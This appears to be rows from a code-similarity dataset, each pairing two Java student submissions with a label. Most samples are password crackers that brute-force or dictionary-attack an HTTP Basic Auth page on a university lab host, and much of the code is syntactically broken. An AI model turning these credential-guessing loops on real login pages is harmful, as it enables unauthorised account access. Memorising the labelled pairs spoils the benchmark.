Authenticator.setDefault (new MyAuthenticator ());
try
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase("OK"))
{
return true;
}
}
catch (IOException e) {}
return false;
}
public static void main(String [] args)
{
Dictionary dictionary = new Dictionary();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = "";
String password = (String)words.elementAt(counter);
counter++;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
148.java | 161.java | 0 |
import java.net.*;
import java.io.*;
public class BruteForce {
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Error: Correct Format Filename, username e.g<>");
System.exit(1);
}
BruteForce bruteForce1 = new BruteForce();
Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("The Password of "+args[0]+"is.."+Result);
}
private String Password(String urlString,String username)
{
int cnt=0;
t0 = System.currentTimeMillis();
for ( char ch = 'A'; ch <= 'z'; ch++ )
{
if (ch>'Z' && ch<'a')
{
ch='a';
}
for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )
{
if (ch1>'Z' && ch1<'a')
{
ch1='a';
}
for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )
{
if (ch2>'Z' && ch2<'a')
{
ch2='a';
}
password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);
System.out.print("crackin...:");
System.out.print("\b\b\b\b\b\b\b\b\b\b\b" );
try
{
URL url = new URL (urlString);
String userPassword=username+":"+password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
URLConnection conc= url.openConnection();
conc.setRequestProperty ("Authorization", " " + encoding);
conc.connect();
cnt++;
if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
{
t1 = System.currentTimeMillis();
net=t1-t0;
System.out.println("The Number of Attempts "+cnt);
System.out.println("Total Time Taken in secs"+net/1000);
return password;
}
}
catch (Exception e )
{
e.printStackTrace();
}
}
}
}
return "Password could not found";
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
228.java | 161.java | 0 |
import java.io.*;
import java.*;
import java.net.*;
import java.util.*;
public class BruteForce {
public static void main (String[] args) throws IOException {
BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
int start = new Date().getTime();
String[] letters = {"a","A","b","B","c","C","d","D","e","E","f","F","g","G",
"h","H","i","I","j","J","k","K","l","L","m","M","n","N",
"o","O","p","P","q","Q","r","R","s","S","t","T","u","U",
"v","V","w","W","x","X","y","Y","z","Z"};
int len = 52;
int total = 52;
String[] cad = new String[total];
int t=0;
for (int i=0;i<=len-1;i++){
cad[t] = letters[i];
t++;
}
for (int i=0;i<=len-1;i++){
for (int j=0;j<=len-1;j++){
cad[t] = letters[j]+letters[i];
t++;
}}
for (int i=0;i<=len-1;i++){
for (int j=0;j<=len-1;j++){
for (int k=0;k<=len-1;k++){
cad[t] = letters[k]+letters[j]+letters[i];
t++;
}}}
int response = 0;
for (t=0;t<=total-1;t++){
String uname = "";
String userinfo = uname + ":" + cad[t];
try{
String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection uc = (HttpURLConnection)url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
response = uc.getResponseCode();
if (response == 200) break;
else uc.disconnect();
}
catch(IOException e){ System.err.println(e); e.printStackTrace(); }
catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
}
System.out.println("Response "+t+" was "+response);
System.out.println("The successful password was "+cad[t]);
finish = new Date().getTime();
float totaltime = (float)(finish-start)/1000;
System.out.println("Total time: "+totaltime+" seconds");
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
258.java | 161.java | 0 |
import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;
public class Dictionary
{
public static void main(String args[]) throws Exception
{
String urlPath = null;
if(args.length > 0)
{
urlPath = args[0];
System.out.println("URL " + urlPath);
Dictionary dict = new Dictionary(urlPath);
}
else{
System.out.println("Please enter URL at command prompt");
System.out.println("eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/");
}
System.exit(0);
}
public Dictionary(String urlPath) throws Exception
{
linkToWeb(urlPath);
}
public boolean linkToWeb(String urlPath) throws Exception
{
HttpURLConnection connection;
String word = null;
String usrName = "";
String usrNamePwd = null;
String encoding = null;
URL = new URL(urlPath);
BufferedReader inputStream = new BufferedReader(new FileReader("words"));
word = inputStream.readLine();
while(word != null)
{
if(word.length() <= 3){
usrNamePwd = usrName +":"+ word;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty("Authorization", " " + encoding);
System.out.println(word);
if(connection.getResponseCode() == 200){
System.out.println("Password Found " +word);
return true;
}
connection.disconnect();
}
word = inputStream.readLine();
}
System.out.println("Password not found" );
return false;
}
public class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
021.java | 161.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import misc.BASE64Encoder;
import javax.swing.*;
public class ConnectionThread extends Thread
{
private String url;
private URL currURL;
private URLConnection conn;
private HoldSharedData sharedData;
private int noOfThread;
private int batch;
public ConnectionThread( String pageURL, int wThread,
int newBatch, HoldSharedData data )
{
super();
url = pageURL;
noOfThread = wThread;
batch = newBatch;
sharedData = data;
}
public void run()
{
try
{
currURL = new URL( url );
for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
(i < sharedData.getPwdCount()); i ++ )
{
String pwd = sharedData.getPasswordAt( i );
conn = currURL.openConnection();
if (conn instanceof HttpURLConnection)
{
HttpURLConnection hconn = (HttpURLConnection) conn;
hconn.setFollowRedirects(false);
String cad = " " + based64Encoder( ":" + pwd );
hconn.setRequestProperty( "Authorization", cad );
hconn.connect();
int response = hconn.getResponseCode();
sharedData.setNumOfConnections();
if( response == 200 )
{
totalTime = System.currentTimeMillis() -
sharedData.getStartTime();
int numOfConnections = sharedData.getNumOfConnections();
System.out.println( "Password is " + pwd );
System.out.println( "Total Time(seconds)= " +
(double)totalTime/1000 );
System.out.println( "Total Number Of Connections: " +
numOfConnections );
System.exit(0);
}
else
{
hconn.disconnect();
}
}
}
}
catch( MalformedURLException mue )
{
String msg = "Unable parse URL: " + url;
System.err.println( msg );
}
catch( IOException ioe )
{
System.err.println( "I/O Error : " + ioe );
}
}
private String based64Encoder( String pwd )
{
String str = pwd;
byte[] buf = str.getBytes();
String encodedStr = new misc.BASE64Encoder().encode(buf);
return encodedStr;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
202.java | 161.java | 0 |
import java.io.*;
import java.util.*;
public class BruteForce
{
private Cracker crack;
private Vector clients;
private int num;
private int bigStart;
public BruteForce()
{
int i, j;
int start, finish;
start=finish = 0;
crack = new Cracker();
crack.loadLetters();
crack.loadPairs();
crack.loadTriples();
num = crack.getVictor().size();
clients = new Vector( num);
j = 0;
bigStart = System.currentTimeMillis();
for( i = 0; i < num; i++)
{
MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i));
clients.add( client);
Thread t = new Thread( client);
t.print();
j++;
if(j == 100)
{
t = System.currentTimeMillis();
System.out.println("i = "+i+" "+(String)crack.getVictor().elementAt( i));
finish = t;
while( (finish - t ) < 1000)
{
finish = System.currentTimeMillis();
}
j = 0;
}
}
}
public void retire(int MyClient2 )
{
int bigFinish;
bigFinish = t.getTime();
System.out.println(" It took "+(bigFinish - bigStart)/1000+" "+"seconds crack password using brute force");
System.exit(0);
}
public static void main (String[] args)
{
BruteForce = new BruteForce();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
055.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;
public class WriteFile
{
String url;
String fileName;
int flag;
private PrintWriter out2;
private TextArea response;
int status;
int mailFlag;
public WriteFile (String newUrl, String newFileName, int newFlag)
{
url = newUrl;
fileName = newFileName;
PrintWriter printW = null;
FileOutputStream fout;
flag = newFlag;
status = 0;
mailFlag = 0;
File file = new File(fileName);
file.delete();
try
{
fout = new FileOutputStream(fileName,true);
printW = new PrintWriter(fout);
}
catch (IOException ioe)
{
System.out.println("IO Error : " + ioe);
}
URL u;
URLConnection uc;
try
{
u = new URL(url);
try
{
uc = u.openConnection();
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader(content));
String line;
while ((line = in.readLine()) != null)
{
printW.println(line);
}
}
catch (Exception e)
{
System.out.println("Error: " + e);
}
}
catch (MalformedURLException e)
{
System.out.println(url + " is not a parseable URL");
}
printW.print();
if(flag == 1)
{
compareDiff("@.rmit.edu.");
}
}
String loadStream(InputStream in) throws IOException
{
int ptr = 0;
in = new BufferedInputStream(in);
StringBuffer buffer = new StringBuffer();
while( (ptr = in.next()) != -1 )
{
status++;
buffer.append((char)ptr);
mailFlag++;
}
return buffer.toString();
}
public void compareDiff(String emailAdd)
{
String cmds = "diff test1.txt test2.txt";
PrintWriter printW2 = null;
FileOutputStream fout2;
File file = new File("diff.txt");
file.delete();
String ;
try
{
fout2 = new FileOutputStream("diff.txt",true);
printW2 = new PrintWriter(fout2);
}
catch (IOException ioe)
{
System.out.println("IO Error : " + ioe);
}
try
{
Process ps = Runtime.getRuntime().exec(cmds);
PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));
printW2.println(loadStream(ps.getInputStream())+"\n");
printW2.print();
if(mailFlag != 0)
{
FileReader fRead2;
BufferedReader buf2;
try
{
fRead2 = new FileReader("diff.txt");
buf2 = new BufferedReader(fRead2);
String line2;
int i=0;
line = new String(" some changes the web as followed: \n");
Socket s = new Socket("wombat.cs.rmit.edu.", 25);
out2 = new PrintWriter(s.getOutputStream());
send(null);
send("HELO cs.rmit.edu.");
send("MAIL FROM: @.rmit.edu.");
send("RCPT : @.rmit.edu.");
send("DATA");
while( (line2 = buf2.readLine()) != null)
{
line= new String(""+line2+"\n");
}
out2.print();
send(".");
s.print();
}
catch(FileNotFoundException e)
{
System.out.println("File not found");
}
catch(IOException ioe)
{
System.out.println("IO Error " + ioe);
}
}
System.out.println(loadStream(ps.getInputStream()));
System.err.print(loadStream(ps.getErrorStream()));
}
catch(IOException ioe)
{
ioe.printStackTrace();
}
}
public void send(String s) throws IOException
{
response = new TextArea();
if(s != null)
{
response.append(s + "\n");
out2.println(s);
out2.flush();
}
}
public int getStatus()
{
return status;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
106.java | 161.java | 0 |
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.UsernamePasswordCredentials;
import org.apache.commons.httpclient.cookie.CookiePolicy;
import org.apache.commons.httpclient.methods.GetMethod;
public class BruteForce{
static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty("logonSite");
static final int LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty("logonPort")).intValue();
static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty("useProxyServer")).intValue();
static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty("proxyPort")).intValue();
static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty("proxyServer");
static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty("proxyUserName");
static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty("proxypassword");
static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty("getMethod");
static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty("numberOfGetsBeforeReleaseConnection")).intValue();
static final String[] cValidChars = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};
public BruteForce() {
super();
}
public static void main (String[] args) throws Exception {
String statusLine = " ";
int count = 0;
int firstLetterIndex = 0;
int secondLetterIndex = 0;
int thirdLetterIndex = 0;
int divValue = 0;
String userName = "";
String password = "";
HttpClient client = new HttpClient();
if (USE_PROXY_SERVER == 1) {
client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);
client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));
}
client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);
client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, "http");
GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);
count = 0;
for (int f = 0; f < 52; f++) {
firstLetterIndex = f;
password = cValidChars[firstLetterIndex];
System.out.println("Count: "+ count + " First Index: "+ firstLetterIndex+ " password: "+ password);
client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
client.executeMethod(getMethod);
statusLine = getMethod.getStatusLine().toString();
if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) {
System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);
System.exit(0);
}
}
count = 0;
for (int g = 0; g < 52; g++) {
firstLetterIndex = g;
for (int h = 0; h < 52; h++) {
secondLetterIndex = h;
password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];
System.out.println("Count: "+ count+ " First Index: "+ firstLetterIndex+ " Second Index: "+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ " password: "+ password);
client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
++count;
divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;
if (divValue == 0) {
System.out.println("Count: "+ count+ " Div Value: "+ divValue + " Releasing the connection and getting new one");
getMethod.releaseConnection();
getMethod = null;
getMethod = new GetMethod(GET_METHOD_HACKER);
}
client.executeMethod(getMethod);
statusLine = getMethod.getStatusLine().toString();
System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);
if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) {
System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);
System.exit(0);
}
}
}
getMethod.releaseConnection();
getMethod = null;
getMethod = new GetMethod(GET_METHOD_HACKER);
count = 0;
for (int i = 0; i < 52; i++) {
firstLetterIndex = i;
for (int j = 0; j < 52; j++) {
secondLetterIndex = j;
for (int k = 0; k < 52; k++) {
thirdLetterIndex = k;
password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex];
System.out.println("Count: "+ count+ " First Index: "+ firstLetterIndex+ " Second Index: "+ secondLetterIndex+ " Third Index: "+ thirdLetterIndex+ " "+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ " password: "+ password);
client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
++count;
divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;
if (divValue == 0) {
System.out.println("Count: "+ count+ " Div Value: "+ divValue+ " Releasing the connection and getting new one");
getMethod.releaseConnection();
getMethod = null;
getMethod = new GetMethod(GET_METHOD_HACKER);
}
client.executeMethod(getMethod);
statusLine = getMethod.getStatusLine().toString();
if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) {
System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);
System.exit(0);
}
}
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
216.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.util.*;
import java.*;
public class Dictionary
{
public static void main(String args[])
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
int flag=1;
String filename = "words";
try
{
String urlString = new String("http://sec-crack.cs.rmit.edu./SEC/2/");
String thePassword= new String();
BufferedReader inputStream= new BufferedReader(new FileReader(filename));
String line=inputStream.readLine();
stime = System.currentTimeMillis();
while (line!= null && flag==1)
{
try {
URL url = new URL (urlString);
String userPassword = "" + ":" + line;
String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
InputStream content = (InputStream)uc.getContent();
endtime = System.currentTimeMillis();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line2;
while ((line2 = in.readLine()) != null) {
pw.println (line2);
}
flag=0;
System.out.println("process time is : " +(endtime-stime)/1000 +" seconds.");
}catch (MalformedURLException e) {
flag=1;
}catch (IOException e) {
flag=1;
}
line=inputStream.readLine();
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.err.println("File "+filename+" was not found");
}
catch(IOException e)
{
System.err.println("Error ");
}
System.out.println("content is "+ sw.toString());
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
